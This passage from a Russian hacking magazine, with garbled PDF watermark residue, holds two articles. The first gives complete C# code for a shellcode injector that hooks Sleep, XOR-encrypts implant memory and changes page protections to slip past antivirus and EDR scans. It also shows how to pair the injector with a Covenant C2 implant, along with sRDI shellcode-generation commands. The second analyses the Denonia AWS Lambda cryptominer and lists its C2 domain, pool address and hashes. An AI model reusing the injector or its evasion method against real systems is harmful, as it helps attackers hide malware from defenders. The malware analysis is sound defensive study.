Injection) —

 

логическое­

продол­ жение­

техник­

RDI и Improved

 

RDI, позволя­

ющее­

генерировать­

позиционно­

 

независимый­

шелл код из библиоте­

ки­ DLL:

 

sRDI — Shellcode Refective DLL Injection —

 

 

NetSPI

 

 

 

 

 

 

 

 

 

monoxgas/sRDI:

 

Shellcode

implementation

 

 

of

Refective

DLL

Injection.

Convert DLLs

to position independent shellcode

Для этого­ понадобит­ ся­ код самой DLL:

// dllSleep.cpp

#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

while (TRUE) { Sleep(5000); }

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

И генера­ ­тор шелл кода из DLL:

0

PS > curl https://github.com/monoxgas/sRDI/raw/master/Python/ShellcodeRDI.py -o ShellcodeRDI.py0

PS > curl https://github.com/monoxgas/sRDI/raw/master/Python/ConvertToShellcode.py -o ConvertToShellcode.py0

PS > python ConvertToShellcode.py -i dllSleep.dll0 Creating Shellcode: dllSleep.bin

0

Шелл код для тестов­ у нас готов. Не переживай­ , как только­ закончим­ с инжектором­ , протес­ тим­ все на боевом C2.

Реализация

Каркас­ инжектора­ есть, дело за малым — наполнить­ методы класса­ FluctuateShellcode смысловой­ нагрузкой­ . Будем идти по нашей «рыбе» снизу­ вверх.

FluctuateShellcode.GenerateXorKey

Здесь все очевид­ ­но — сгенери­ ­руем последова­ ­тель­ность байтов­ , которая будет накладывать­ ­ся на байты­ шелл кода как шифрующая­ гамма­ . Помня­ о несовершенс­ ­тве первой­ версии­ техники­ Obfuscate and Sleep в Cobalt Strike, из за которой присутс­ ­твие бикона можно­ было распознать­ YARA-правилом­ , основыва­ ­ясь на длине­ повторя­ ­юще­гося ключа­ , я реализую­ шифрование­ XOR в режиме одноразо­ ­вого блокнота­ . В этом случае­ размер­ ключа­ равен раз ­ меру шифротек­ ­ста, то есть длине­ шелл кода (благо­ шелл коды обычно­ небольшие­ , поэтому­ «лагов» и «фризов­ » быть не должно­ ).

byte[] GenerateXorKey()

{

Random rnd = new Random();

byte[] xorKey = new byte[shellcodeLength];

rnd.NextBytes(xorKey);

return xorKey;

}

FluctuateShellcode.XorMemory

Пока­ тоже вроде­ нетрудно­ : накладыва­ ­ем шифрующую­ гамму­ на сегмент­ памяти, содержащий­ байты­ шелл кода.

void XorMemory()

{

byte[] data = new byte[shellcodeLength];

Marshal.Copy(shellcodeAddress, data, 0, shellcodeLength);

for (var i = 0; i < data.Length; i++) data[i] ^= xorKey[i];

Marshal.Copy(data, 0, shellcodeAddress, data.Length);

}

FluctuateShellcode.ProtectMemory

В реализации­ этой функции­ выбор остается­ за читателем­ : либо используй­ VirtualProtect из Win32 API с помощью P/Invoke, либо если­ хочешь быть самым крутым­ хакером используй­ D/Invoke и системные­ вызовы, как мы делали это, когда­ модернизиро­ ­вали KeeThief.

Пример­ с P/Invoke:

void ProtectMemory(uint newProtect)

{

if (Win32.VirtualProtect(shellcodeAddress, (uint)shellcodeLength,

newProtect, out _))

Console.WriteLine("(FluctuateShellcode) [DEBUG]

Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.

ToInt64()) + $" to {newProtect}");

else

throw new Exception("(FluctuateShellcode) [-] VirtualProtect"

);

}

Пример­ с D/Invoke:

[UnmanagedFunctionPointer(CallingConvention.StdCall)]

delegate DoItDynamicallyBabe.Native.NTSTATUS NtProtectVirtualMemory(

IntPtr ProcessHandle,

ref IntPtr BaseAddress,

ref IntPtr RegionSize,

uint NewProtect,

ref uint OldProtect);

void ProtectMemory(uint newProtect)

{

IntPtr stub = GetSyscallStub("NtProtectVirtualMemory");

NtProtectVirtualMemory ntProtectVirtualMemory = (

NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub,

typeof(NtProtectVirtualMemory));

IntPtr protectAddress = shellcodeAddress;

IntPtr regionSize = (IntPtr)shellcodeLength;

uint oldProtect = 0;

var result = ntProtectVirtualMemory(

Process.GetCurrentProcess().Handle,

ref protectAddress,

ref regionSize,

newProtect,

ref oldProtect);

if (ntstatus == NTSTATUS.Success)

Console.WriteLine("(FluctuateShellcode) [DEBUG]

Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.

ToInt64()) + $" to {newProtect}");

else

throw new Exception($"(FluctuateShellcode) [-]

NtProtectVirtualMemory: {ntstatus}");

}

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

COVERSTORY

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

.

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

ПИШЕМ ИНЖЕКТОР ДЛЯ ДИНАМИЧЕСКОГО ШИФРОВАНИЯ ПОЛЕЗНОЙ НАГРУЗКИ В ПАМЯТИ

FluctuateShellcode.DisableHook

Функция­ снятия­ хука — то есть перезапись­ трампли­ на­ содержимым­ ори ­ гинального­ Sleep, которое мы бережно­ храним­ в поле sleepOriginBytes. И снова­ можно­ использовать­ P/Invoke или более модный­ D/Invoke для работы с API.

public bool DisableHook()

{

bool unhooked = false;

if (Win32.VirtualProtect(

sleepOriginAddress,

(uint)sleepOriginBytes.Length,

0x40, // 0x40 = PAGE_EXECUTE_READWRITE

out uint oldProtect))

{

Marshal.Copy(sleepOriginBytes, 0, sleepOriginAddress,

sleepOriginBytes.Length);

unhooked = true;

}

bool flushed = false;

if (Win32.FlushInstructionCache(

Process.GetCurrentProcess().Handle,

sleepOriginAddress,

(uint)sleepOriginBytes.Length))

{

flushed = true;

}

Win32.VirtualProtect(

sleepOriginAddress,

(uint)sleepOriginBytes.Length,

oldProtect,

out _);

return unhooked && flushed;

}

Если­ мы изменяем­ код, уже загружен­ ­ный

впамять, Microsoft говорит, что мы должны­ использовать­ функцию­ FlushInstructionCache, —

впротив­ ном­ случае­ кеш ЦП может помешать ОС увидеть­ изменения­ .

FluctuateShellcode.EnableHook

То же самое, что и DisableHook, только­ в этот раз мы перезаписы­ ­ваем исходный Sleep трампли­ ­ном:

public bool EnableHook()

{

bool hooked = false;

if (Win32.VirtualProtect(

sleepOriginAddress,

(uint)trampoline.Length,

0x40, // 0x40 = PAGE_EXECUTE_READWRITE

out uint oldProtect))

{

Marshal.Copy(trampoline, 0, sleepOriginAddress, trampoline.

Length);

hooked = true;

}

bool flushed = false;

if (Win32.FlushInstructionCache(

Process.GetCurrentProcess().Handle,

sleepOriginAddress,

(uint)trampoline.Length))

{

flushed = true;

}

Win32.VirtualProtect(

sleepOriginAddress,

(uint)trampoline.Length,

oldProtect,

out _);

return hooked && flushed;

}

FluctuateShellcode.SleepDetour

Сердце­ нашей флуктуации­ — изменен­ ­ная функция­ Sleep, которая будет перехватывать­ управление­ в момент «засыпания­ » агента­ . По содержимому­ тела функции­ понятно­ , что она делает­ .

void SleepDetour(uint dwMilliseconds)

{

DisableHook();

ProtectMemory(0x04); // 0x04 = PAGE_READWRITE

XorMemory();

sleepOrig(dwMilliseconds);

XorMemory();

ProtectMemory(0x20); // 0x20 = PAGE_EXECUTE_READ

EnableHook();

}

Конструктор и деструктор

Так как мы решили пользовать­ ся­ преиму­ щес­ тва­ ми­ ООП в C#, в конструк­ торе­

мы реализуем­ вычисление­ необходимых­ адресов­ и содержимого­ , находя ­ щегося­ по этим адресам­ :

public FluctuateShellcode(IntPtr shellcodeAddr, int shellcodeLen)

{

// Получаем адрес оригинальной функции Sleep

sleepOriginAddress = Win32.GetProcAddress(Win32.LoadLibrary(

"kernel32.dll"), "Sleep");

//Инициализируем делегат для возможности обращаться к этой функции по ее адресу

sleepOrig = (Sleep)Marshal.GetDelegateForFunctionPointer( sleepOriginAddress, typeof(Sleep));

//Бэкапим первые 16 байт оригинальной функции Sleep Marshal.Copy(sleepOriginAddress, sleepOriginBytes, 0, 16);

//Получаем адрес метода SleepDetour, которым будет пропатчен шаблон трамплина

var sleepDetour = new Sleep(SleepDetour); sleepDetourAddress = Marshal.GetFunctionPointerForDelegate(

sleepDetour);

gchSleepDetour = GCHandle.Alloc(sleepDetour);

using (var ms = new MemoryStream())

using (var bw = new BinaryWriter(ms))

{

// Составляем little-endian-адрес sleepDetourAddress в виде

байтового массива

bw.Write((ulong)sleepDetourAddress);

sleepDetourBytes = ms.ToArray();

}

// Патчим этим адресом шаблон трамплина

for (var i = 0; i < sleepDetourBytes.Length; i++)

trampoline[i + 2] = sleepDetourBytes[i];

// Инициализируем другие оставшиеся поля класса

FluctuateShellcode, к которым должны иметь доступ его методы

shellcodeAddress = shellcodeAddr;

shellcodeLength = shellcodeLen;

xorKey = GenerateXorKey();

}

Важный­ момент, на котором стоит­ остановить­ ся­ отдельно­ : так как мы работа ­ ем с управля­ емой­ средой­ .NET, адрес метода SleepDetour будет недос ­ тупен для неуправля­ емо­ го­ кода, если только­ мы явно не попросим­ его таковым быть. Здесь на помощь приходит­ хендл GCHandle, дающий способ­ получить доступ­ к управляемо­ му­ объекту­ из неуправля­ емой­ памяти (подсмот­ ­ рел в этом ответе­ на Stack Overfow).

Метод­ GCHandle.Alloc запреща­ ет­ сборщику­ мусора трогать­ адрес делегат sleepDetourAddress, тем самым «фиксируя­ » его на все вре ­ мя работы инжектора­ . Чтобы­ отпустить удерживание­ адреса­ , мы используем­ деструк­ тор­ :

~FluctuateShellcode()

{

if (gchSleepDetour.IsAllocated)

gchSleepDetour.Free();

DisableHook();

}

Тестирование

Время­ лаборатор­ ных­ испытаний­ . Чтобы­ успеть увидеть­ флипы­ и шифрование­ памяти в Process Hacker, я добавлю­ инструк­ цию­ Thread.Sleep(5000) в начало функции­ SleepDetour. Скомпилиру­ ем­ проект­ (обязатель­ но­ в x64) и запустим­ .

Сперва­ смотрим­ на содержимое­ области памяти с шелл кодом, которое шифрует­ ­ся при каждом­ вызове Sleep.

Обфуска­ ция­ области памяти с шелл кодом

Еще одно демо, на котором видна­ перезапись­ памяти kernel32.dll: трамплин­ сменяет­ ся­ оригиналь­ ным­ содержимым­ и наоборот­ .

Установ­ ка­ и снятие­ хука Sleep

Тесты­ в контро­ лиру­ емой­ среде­ пройдены­ , время­ для полевых испытаний­ !

ИСПОЛЬЗОВАНИЕ С АГЕНТОМ C2

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Для демонстра­ ции­

работы инжектора­ с реальным­

C2 сперва­ нужно­ опре ­

делиться­ с фреймвор­

ком­ , который мы будем использовать­

.

Показывать­

работу флуктуато­

ра­ с Cobalt Strike бессмыс­

ленно­

(хотя с ней он тоже работа ­

ет), ведь изначаль­

ной­

целью было научиться­ встраивать­

обсуждаемую­

тех ­

нику в open source проекты­

, да и sleep_mask в свежих­

версиях­

«Кобы»

работает­ как надо.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Итак, какой же C2 нам выбрать­

? Агент Meterpreter полностью­

интерак­ ­

тивный и не использует­

Sleep (править­

сорцы­ Meterpreter — увольте­ , нет),

PoshC2 не имеет­ stageless-имплантов­ , и его код частично­

закрыт­ , а в Sliver

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

генерирует­

 

слишком­

большой­

шелл код из за

 

особен­ ностей­

языка­ ,

на котором он написан (это Go, ага).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Мой выбор пал на Covenant, для которого­ @ShitSecure недавно­ показал­

,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

как создавать­

stageless-импланты­ . Отличный кандидат­

, как по мне!

 

 

 

 

 

 

 

Я загружу­

 

код кастомно­

го­ stageless-импланта­ и изменю­ в нем задержки­

 

 

 

 

через Thread.Sleep, на полноцен­

 

вызов Sleep

(Delays), реализован­

ные­

ный­

из kernel32.dll.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Thread.Sleep → kernel32!Sleep

Вот такой патч у меня получился­ , если кто то захочет повторить­ :

14a15

> using System.Runtime.InteropServices;

277a279,281

>

[DllImport("kernel32.dll")]

>

static extern void Sleep(int dwMilliseconds);

>

 

354c358

 

<

Thread.Sleep((Delay + change) * 1000);

---

 

>

Sleep((Delay + change) * 1000);

430c434

 

<

Thread.Sleep(3000);

---

 

>

Sleep(3000);

Далее­ я залогинюсь­ в Covenant и создам­ новый темплейт­ .

Добав­ ление­ stageless-агента­ в Covenant

Теперь­ создаем­ новые Listener и Launcher в формате­ шелл кода на основе­ добавленно­ го­ темплей­ та­ .

Генера­ ­ция шелл кода в Covenant

Остает­ ­ся заменить sleepDll.bin путем до нового шелл кода, и можно­ запускать­ инжектор!

You’ve poped a (fuctuating) shell!

Если­ просканиро­ вать­ область памяти, содержащей­ шелл код, с помощью Moneta, можно­ видеть, что мы избавились­ от одного­ из самых показатель­ ных­ индикато­ ров­ заражения­ — исполняемой­ приват­ ной­ памяти.

Никако­ го­ Abnormal private executable memory

И разумеется­ , я не мог не портировать­ созданный­ код на D/Invoke и не вклю ­ чить его в свой инжектор, который зачастую­ использую­ на проектах­ .

Демо­

БОНУС. РЕАЛИЗАЦИЯ API HOOKING С ПОМОЩЬЮ MINIHOOK.NET

В качестве­ бонуса оставлю здесь реализацию­ класса­ флуктуато­ ­ра, которая использует­ MiniHook.NET. Можешь сам оценить­ , сильно­ ли уменьшил­ ­ся объ ­ ем кода.

class FluctuateShellcodeMiniHook

{

// using MinHook; // https://github.com/CCob/MinHook.NET

delegate void Sleep(uint dwMilliseconds);

readonly Sleep sleepOrig;

readonly HookEngine hookEngine;

readonly uint fluctuateWith;

readonly IntPtr shellcodeAddress;

readonly int shellcodeLength;

readonly byte[] xorKey;

public FluctuateShellcodeMiniHook(uint fluctuate, IntPtr

shellcodeAddr, int shellcodeLen)

{

hookEngine = new HookEngine();

sleepOrig = hookEngine.CreateHook("kernel32.dll", "Sleep",

new Sleep(SleepDetour));

fluctuateWith = fluctuate;

shellcodeAddress = shellcodeAddr;

shellcodeLength = shellcodeLen;

xorKey = GenerateXorKey();

}

~FluctuateShellcodeMiniHook()

{

hookEngine.DisableHooks();

}

public void EnableHook()

{

hookEngine.EnableHooks();

}

public void DisableHook()

{

hookEngine.DisableHooks();

}

void SleepDetour(uint dwMilliseconds)

{

ProtectMemory(fluctuateWith);

XorMemory();

sleepOrig(dwMilliseconds);

XorMemory();

ProtectMemory(DI.Data.Win32.WinNT.PAGE_EXECUTE_READ);

}

void ProtectMemory(uint newProtect)

{

if (Win32.VirtualProtect(shellcodeAddress, (uint)

shellcodeLength, newProtect, out _))

Console.WriteLine("(FluctuateShellcodeMiniHook) [DEBUG]

Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.

ToInt64()) + $" to {newProtect}");

else

throw new Exception("(FluctuateShellcodeMiniHook) [-]

VirtualProtect");

}

void XorMemory()

{

byte[] data = new byte[shellcodeLength];

Marshal.Copy(shellcodeAddress, data, 0, shellcodeLength);

for (var i = 0; i < data.Length; i++) data[i] ^= xorKey[i];

Marshal.Copy(data, 0, shellcodeAddress, data.Length);

}

byte[] GenerateXorKey()

{

Random rnd = new Random();

byte[] xorKey = new byte[shellcodeLength];

rnd.NextBytes(xorKey);

return xorKey;

}

}

ВЫВОДЫ

Мы разобрали­ базовые основы­ техники­ Inline API Hooking и портирова­ ли­ инжектор флуктуирующе­ го­ шелл кода на C# для обхода­ сигнатур­ ного­ ска ­ нирования­ памяти.

Замечу­ , что разобранный­ код все еще остается­ «доказатель­ ­ством кон ­ цепции» и не стоит­ ожидать­ от него волшебных­ возможнос­ ­тей обхода­ зрелых­ AV и EDR прямо­ «из коробки­ » (все же мы использовали­ наиболее­ банальную­ технику­ инжекта). Можешь обратить­ внимание­ на более продвинутые­ техники­ инжекта шелл кода, как, например­ , Module Stomping или ThreadStackSpoofer,

икомбиниро­ ­вать их с техникой­ флуктуирующе­ ­го шелл кода.

Взавершение­ — минутка­ саморекламы­ (да простит­ меня главред­ ). Недав ­

но я завел канал­ в Telegram с репостами­ новостей­ из твиттера­ на тему нас ­ тупательной­ безопасности­ , так что милости­ просим­ .

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

g

 

 

p

 

 

c

 

 

 

 

 

 

 

df

-x

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

c

 

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

 

КАК РАБОТАЕТ ПЕРВЫЙ ВРЕДОНОС, НАЦЕЛЕННЫЙ НА AWS LAMBDA

Сегод­ ­няшняя статья затрагива­ ­ет малоизу­ ­ ченную­ тему — разработ­ ­ку вредонос­ ­ного ПО на языке­ Go. Обычно­ он использует­ ­ся для системно­ ­го программи­ ­рова­ния. Одна ­ ко мы поговорим­ о вирусе, нацеленном­ на облачные инфраструктуры­ , которые позициони­ ­руют­ся как «бессервер­ ­ные». Их популярность­ растет­ , и, конечно­ же, хакеры ищут подходы­ к их эксплу­ ­ата­ции.

Олег Сивченко adrelian@gmail.com

«Бессервер­ ный­ » — это не более чем фигура речи. У систем­ вроде­ AWS Lambda есть серверная­ часть, и она работает­ на Linux. Однако­ разработ­ чиков­

это в теории не касается­ . Для них примене­ ние­ Lambda экономит­ время­ , пос ­ кольку­ поддер­ жка­ системы­ ложится­ на Amazon. В теории остается­ только­ писать код и не задумывать­ ся­ ни о чем. Впрочем­ , думать о безопасности­ все же придет­ ся­ .

Эфемер­ ­ность и динамичность­ , присущие­ лямбда­ функци­ ­ям, могут осложнить обнаруже­ ­ние и митигацию­ угроз. Помочь с этим призваны­ решения вроде­ тех, что предос­ ­тавля­ет Cado Labs. Последнее­ исследова­ ­ние этой компании­ мы с тобой сегодня­ изучим­ .

Итак, в Cado Labs обнаружи­ ли­ вредонос­ , атакующий­ аккаунты­ AWS Lambda. Он получил имя Denonia — по названию­ того домена, с которым обменива­ ется­ информацией­ . Вредонос­ использует­ новейшие­ приемы­ раз ­ решения адресов­ для взаимо­ дей­ ствия­ с C2, что позволя­ ет­ ему ускользать­

от типичных­ механизмов­ обнаруже­ ­ния.

Denonia в целом безобиден­ — он всего­ навсего­ гоняет­ программу­

для майнин­ ­га криптовалю­ ­ты. Распростра­ ­нен он пока, по данным­ Cado Labs, тоже не слишком­ широко. Однако­ Denonia демонстри­ ­рует потенциал­ эксплу­ ­ атации­ окружений­ Lambda, результат­ которой может оказать­ ­ся и более гнус ­ ным.

ТЕХНИЧЕСКИЙ АНАЛИЗ

Впервые­ образец­ Denonia был найден­ на ресурсе­ с таким хешем SHA-256: a31ae5b7968056d8d99b1b720a66a9a1aeee3637b97050d95d96ef3a265cbb

ca

Хотя­ в имени­ файла­ присутс­ ­тву­ет python, на самом деле этот вредонос­ написан на Go и, по видимому­ , содержит­ кастомизи­ ­рован­ный вариант­ май ­ нингового­ софта­ XMRig, а также­ обладает­ другими­ невыясненны­ ­ми функци­ ­ ями. Вот что показало­ более тщатель­ ­ное исследова­ ­ние.

Во время­ динамичес­ ­кого анализа­ вредонос­ быстро­ прекратил­ выполнять­ ­ ся и выдал в лог следующую­ ошибку­ .

Такие­ переменные­ окружений­ специфич­ ны­ для «лямбд» — поэтому­ отчасти позволя­ ют­ судить о показателях­ той среды­ , для выполнения­ в которой пред ­ назначен­ этот вирус. Дальнейший­ анализ­ бинарника­ выявил, что это 64-раз ­ рядный исполняемый­ файл ELF для архитек­ туры­ x86-64. Вредонос­ также­ использует­ ряд сторон­ них­ библиотек­ , среди­ которых есть и AWS Lambda for Go. Она предназна­ чена­ для выполнения­ в окружени­ ях­ AWS Lambda.

ВРЕДОНОСЫ НА GO

Вредонос­ ное­ ПО, написанное­ на языке­ Go, стремитель­ но­ набира­ ет­ популяр ­ ность. Этот язык привлека­ ет­ разработ­ чиков­ вредоно­ сов­ сразу­ по несколь­ ким­ причинам­ — в том числе­ потому, что на нем чрезвычай­ но­ просто­ писать кросс платформен­ ные­ исполняемые­ файлы­ . К тому же программы­ на Go ста ­ тически­ слинкованы­ , что облегчает­ деплой­ .

Вирус­ ­ным аналити­ ­кам, столкнув­ ­шимся с малварью­ на Go, нужно­ знать о некоторых­ особен­ ­ностях. Из за статичес­ ­кой связан­ ­ности бинарники­ получаются­ большими­ , что затрудня­ ­ет статичес­ ­кий анализ­ . Кроме­ того, Go своеоб­ ­разно обращает­ ­ся со строками­ . Они не завершают­ ­ся нулем — в отли ­ чие от того, как принято­ в С образных языках­ . Строки­ здесь представ­ ­ляют собой большой­ блоб и структуру­ с указате­ ­лем на строку­ в блобе­ и целым чис ­ лом, которое означает­ длину­ строки­ . Это может запутать некоторые­ инстру­ ­ менты­ статичес­ ­кого анализа­ .

АНАЛИЗ ЛЯМБДА-ВРЕДОНОСОВ

У анализа­ бинарника­ , предназна­ чен­ ного­ для запуска­ на AWS Lambda, тоже есть ряд особен­ ностей­ .

Denonia явно спроекти­ ­рова­на для выполнения­ в лямбда­ окружени­ ­ях, но мы пока не знаем­ , как именно­ она разверты­ ­вает­ся. Возможно­ , от нее все ­ го то и требует­ ­ся скомпро­ ­мети­ровать доступ­ к AWS и секретные­ ключи­ , после­ чего злоумыш­ ­ленник вручную­ развернет­ ее в скомпро­ ­мети­рован­ном лям ­ бда окружении­ , как уже делали с более простыми­ скриптами­ на Python.

Инстру­ мент­ redress позволил­ выявить некоторые­ интерес­ ные­ сторон­ ние­ библиоте­ ки­ Go, встраиваемые­ этим вредоно­ сом­ . По ним можно­ частично­ вывести­ , как именно­ он функци­ они­ рует­ :

lambda — библиоте­ ­ки, образцы и инстру­ ­мен­ты для написания­ лям ­ бда функций­ на Go;

lambdacontext — вспомога­ ­тель­ные функции­ для извлечения­ контекс­ ­тной информации­ из запроса­ , активиру­ ­юще­го лямбда­ функцию­ ;

aws — общий инстру­ ­мен­тарий AWS SDK для языка­ Go;

doh-go — клиент­ DNS over HTTPS на Go, поддержи­ ­вает такие провай­ ­деры,

как Quad9, Cloudfare и прочие­ .

Ниже­ приведен­ фрагмент­ обработ­ чика­ лямбда­ функций­ — он ожидает­ , что будут установ­ лены­ определен­ ные­ данные­ .

Несмотря­ на его наличие, динамичес­ ­кий анализ­ показывает­ , что этот образец­ с тем же успехом­ продол­ ­жает выполнять­ ­ся и вне лямбда­ окружения­ (нап ­

ример, на самой обычной­ машине Amazon Linux). Предположи­ ­тель­но дело в том, что «бессервер­ ­ные» лямбда­ окружения­ под капотом все равно­ исполь ­ зуют Linux, так что вредонос­ просто­ считает­ , что он внутри­ лямбда­ окружения­ , хотя на самом деле его гоняли в песочнице­ . Для этого­ достаточ­ ­но вручную­ установить­ нужные­ переменные­ окружения­ .

DNS ПО HTTPS

Как правило­ , при запросе­ доменного­ имени­ , например­ google.com, отправ ­ ляется­ незашифрован­ ный­ DNS-запрос­ , позволя­ ющий­ найти­ тот IP-адрес, в который разреша­ ется­ домен, — и тогда­ твоя машина подклю­ чает­ ся­ к этому­ домену. Сравнитель­ но­ новая замена для обычного­ DNS — это DNS по HTTPS (DoH). DoH шифрует­ запросы­ DNS и рассыла­ ет­ их службам­ разрешения­ DoH как обычный­ трафик­ HTTPS.

Прибег­ ­нуть к DoH, прямо­ скажем­ , экзотичес­ ­кий ход для авторов­ Denonia, но в данном­ случае­ он обеспечива­ ­ет два преиму­ ­щес­тва:

AWS не сможет­ увидеть­ , что по DNS ищется­ вредонос­ ­ный домен, — поэто ­ му снижает­ ­ся вероятность­ , что в системе­ сработа­ ­ет тревога­ и вирус попытаются­ обнаружить­ ;

в некоторых­ лямбда­ окружени­ ­ях может не быть возможнос­ ­ти выполнять­ поиск по DNS (зависит от настро­ ­ек VPC).

Видно­ , как вредонос­ при отправке­ этих запросов­ полагается­ на библиоте­ ­ку doh-go и по каким именно­ урлам это делается­ , например­ :

https://cloudfare-dns.com/dns-query?name=gw.denonia.xyz&type=A

https://dns.google.com/resolve?name=gw.denonia.xyz&type=A

HTTPS-запрос­ на сервер­ Google DoH

А DoH-сервер­ (в данном­ случае­ Google) выдает­ в ответ IP-адрес домена, который разреша­ ется­ в JSON.

ЗАПИСЬ В /TMP/.XMRIG.JSON ДЛЯ XMRIG

Домен­ gw.denonia[.]xyz, контро­ лиру­ емый­ злоумыш­ ленни­ ком­ , разреша­ ется­ в 116.203.4[.]0 — и этот адрес затем записывает­ ся­ в конфиг­ для майнера­

XMRig по адресу­ /tmp/.xmrig.json.

Обрати­ внимание­ : в AWS Lambda можно­ записывать­ только­ в один каталог, а именно­ в /tmp. Бинарник­ также­ устанав­ лива­ ет­ в качестве­ домашнего­ каталога­ именно­ /tmp, это делается­ при помощи команды­ HOME=/tmp. Сам XMRig выполняет­ ся­ из памяти.

КОММУНИКАЦИЯ С СЕРВЕРОМ MONERO ПО АДРЕСУ 116.203.4[.]0

Затем­ Denonia запускает­ XMRig из памяти и обменива­ ется­ информацией­

с майнин­ ­говым пулом, которым уже завладел­ злоумыш­ ­ленник, по адресу­ 116. 203.4[.]0:3333.

В ответ получаем­ состояние­ майнин­ гового­ задания.

По мере выполнения­ XMRig пишет в консоль­ .

ВЫВОДЫ

Итак, на примере­ Denonia мы посмотре­ ли­ , как обращать­ ся­ с вредоно­ сами­ , написанными­ на Go, а также­ нацеленными­ на исполнение­ в лямбда­ окру ­ жениях­ .

Интерес­ ­но, что это не единствен­ ­ный обнаружен­ ­ный образец­ Denonia. Рас ­ смотренный­ образец­ датируется­ концом­ февраля­ 2022 года, но с того момента­ был найден­ и второй­ , загружен­ ­ный на VirusTotal в январе­ :

739fe13697bc55870ceb35003c4ee01a335f9c1f6549acb6472c5c3078417eed

Подробнее­ о защите окружений­ AWS Lambda ты можешь почитать в науч ­ ной статье сотрудни­ ков­ AWS (PDF).

Соседние файлы в папке журнал хакер